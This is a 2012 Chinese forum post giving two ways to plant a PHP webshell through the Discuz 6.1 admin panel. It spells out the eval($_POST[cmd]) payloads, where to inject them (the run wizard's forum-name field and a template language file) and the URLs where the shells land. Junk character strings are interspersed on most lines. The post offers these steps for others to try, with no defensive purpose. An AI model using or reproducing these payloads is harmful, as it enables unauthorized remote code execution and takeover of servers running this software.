discuz6.1两种方法后台拿shell
$ @8 `3 X! l% e) B8 t9 X好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
/ P# k$ r+ f& i7 D$ b' q1:% _' C3 @9 F' i- r/ a# z
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
9 m/ _0 l2 v+ f madmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell) }) [. K; ^0 _( ~ `8 N
<?php eval($_POST[cmd]);?>( r+ H7 V1 E! [5 @. E3 }2 \
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
6 T: \# E+ d: s* i% y) C9 I& J. Z* {0 v) _& K; p
5 s$ [7 u* ]+ L1 i7 g+ L
2:后台模板管理--默认模板套系--详情
1 l& U' V% x: g, p0 ^0 h; U1 Qtemplates/default/actions.lang.php
7 D. Z9 n* B. t" M. Hjhackj\\');eval($_POST[cmd])?>;//
0 i! o% X7 i0 A# y- \6 X' _/ M/ I2 u" P% E6 @ U) J
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对